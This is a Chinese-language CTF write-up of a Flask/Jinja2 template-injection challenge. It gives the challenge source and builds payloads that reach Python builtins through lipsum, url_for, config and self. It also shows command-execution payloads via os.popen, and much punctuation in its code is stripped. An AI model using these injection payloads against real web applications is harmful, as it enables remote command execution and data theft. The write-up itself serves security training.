题目提交你的代码让后端看看你的厉害提交一下尝试调用到这些函数fmeanget_close_matchesrandintfindallmean看到题目ssti也看到了注入点但是尝试一些模板注入的payload发现没用为什么呢因为flag不能被直接调用————详见源码第12行尝试读源码看看这些函数是不是一定要调用才能完成这道题目1.源码from flask import Flask, jsonify, request, render_template_string, render_template import sys, random func_List [get_close_matches, dedent, fmean, listdir, search, randint, load, sum, findall, mean, choice] need_List random.sample(func_List, 5) //随机抽取五个函数名 need_List dict.fromkeys(need_List, 0) //每个键值初始都为0 BoleanFlag False RealFlag __import__(os).environ.get(ICQ_FLAG, flag{test_flag}) # 清除 ICQ_FLAG __import__(os).environ[ICQ_FLAG] //flag内容被清空 def trace_calls(frame, event, arg): if event call: func_name frame.f_code.co_name # print(func_name) if func_name in need_List: //只有使用过的函数它对应的键值才为1 need_List[func_name] 1 if all(need_List.values()): //要满足所以函数名的键值都为1我们才能使 BoleanFlag True global BoleanFlag BoleanFlag True return trace_calls app Flask(__name__) app.route(/, methods[GET, POST]) def index(): submit request.form.get(submit) if submit: sys.settrace(trace_calls) print(render_template_string(submit)) sys.settrace(None) if BoleanFlag: return jsonify({flag: RealFlag}) //这是我们的目标为达到目标要满足BoleanFlag为true return jsonify({status: OK}) return render_template_string(!DOCTYPE html html langzh-cn head meta charsetUTF-8 title首页/title /head body h1提交你的代码让后端看看你的厉害/h1 form action/ methodpost label forsubmit提交一下/label input typetext idsubmit namesubmit required button typesubmit提交/button /form div stylemargin-top: 20px; p 尝试调用到这些函数 /p {% for func in funcList %} p{{ func }}/p {% endfor %} div stylemargin-top: 20px; color: red; p 你目前已经调用了 {{ called_funcs|length }} 个函数/p ul {% for func in called_funcs %} li{{ func }}/li {% endfor %} /ul /div /body script /script /html , funcList need_List, called_funcs [func for func, called in need_List.items() if called]) if __name__ __main__: app.run(host0.0.0.0, port5000, debugFalse)2.思路一直注入点按照逻辑做就行即满足调用完提示中的五个函数一个一个来那么我们就先需要了解这几个函数函数名所属模块作用SSTI 调用示例 (部分)sum__builtins__数值求和sum([1,2])searchre正则搜索找第一个re.search(a,abc)findallre正则匹配找所有re.findall(\d,1a2)randintrandom产生随机整数random.randint(1,10)choicerandom列表随机选一random.choice([1,2])fmeanstatistics快速浮点平均数statistics.fmean([1,2])meanstatistics算术平均数statistics.mean([1,2])get_close_matchesdifflib文本模糊匹配difflib.get_close_matches(a,[a])dedenttextwrap移除文本缩进textwrap.dedent( a)listdiros列出目录下的文件os.listdir(.)loadjson将 JSON 流转为对象json.load(fp)(注意需文件流)已知函数名和模块那我们就可以一步步构造payload了一般ssti payload构造步骤想要类找基类-想要基类找对象 第一步找到一个在模板里默认就能访问到的对象。 常见包括 lipsum生成乱数假文的函数 configFlask 的配置对象 self当前模板环境 url_for生成 URL 的函数 第二步通过对象找到基类 或 全局函数 通过 .__class__ 找到 拿到的对象 的类 再通过 .__mro__ 看到它的继承链最终摸到 object 基类。 第三步通过基类利用类 或者通全局变量利用变量 一旦有了基类或全局函数就可以 通过 __subclasses__() 查看内存里加载的所有类比如 os._wrap_close。 通过 __globals__ 查看该函数所在的模块里所有的变量。3.exp以此题为例1. 对象用 lipsum。 2. 找全局变量lipsum.__globals__。 这会返回一个字典里面包含了 lipsum 函数能看到的全部家当。 3. 找内置函数在 __globals__ 里一定有一个键叫 __builtins__。这是 Python 的心脏存放着所有内置函数sum, eval, __import__ 等。 4. 加上函数 lipsum.__globals__[__builtins__][sum]。 最终 {{ lipsum.__globals__[__builtins__][sum]([1,2]) }}payload{{ lipsum.__globals__[__builtins__][__import__](statistics).fmean([1.0, 2.0]) }} {{ lipsum.__globals__[__builtins__][__import__](difflib).get_close_matches(a,[a]) }} {{ lipsum.__globals__[__builtins__][__import__](re).findall(a, aaa) }} {{ lipsum.__globals__[__builtins__][__import__](random).randint(1, 10) }} {{ lipsum.__globals__[__builtins__][__import__](statistics).mean([1, 2]) }}其他三种方法1. 使用url_for构造url_for的全局命名空间里包含了很多有用的引用构造url_for→__globals__全局变量 →__builtins__内置函数{{ url_for.__globals__[__builtins__][__import__](random).randint(1, 10) }} # 如果要执行系统命令 (RCE) {{ url_for.__globals__[os].popen(ls).read() }}注url_for的全局变量里通常直接就有os甚至不需要再去__import__。2. 使用config构造config是 Flask 的配置对象是一个类实例。可以通过它的__class__回溯到基类再通过__init__函数进入全局命名空间。构造config→__class__→__init__→__globals__ {{ config.__class__.__init__.__globals__[__builtins__][__import__](re).findall(a, aaa) }}3. 使用self构造self指向当前的TemplateReference。在 Jinja2 中它有一个属性__dict__存放了模板上下文可以通过_TemplateReference__context找到一些底层函数如cycler或joiner再通过它们跳到全局环境。构造self→_TemplateReference__context→cycler→__init__→__globals__{{ self._TemplateReference__context.cycler.__init__.__globals__[__builtins__][__import__](statistics).mean([1, 2]) }}知识点1.flask2.lipsum生成乱数假文的函数3.osOperating System 模块是 Python 用来 与操作系统交互 的标准库一旦在 Python 环境中成功加载了os模块就拥有了执行系统指令的能力os.listdir(.)查看当前目录下有哪些文件找 Flag 常用。os.remove(file)删除文件。常见使用os.popen()或os.system()执行任意系统命令比如ls,cat /etc/passwd,whoami。4.builtins内置模块是 Python 的一组核心功能。不需要import任何东西就可以直接使用的函数如print(),int(),len(),list()因为builtins包含了一个威力巨大的函数__import__。在沙箱环境或模板引擎中开发者通常会禁用直接的import语句。但如果你能访问到builtins对象你就可以利用__import__(os)5.关于格式.(点号)通常用来访问对象的属性如.class。[](中括号)从字典里按名字取值或者从列表里按序号取值。()(小括号)在执行/调用函数时使用。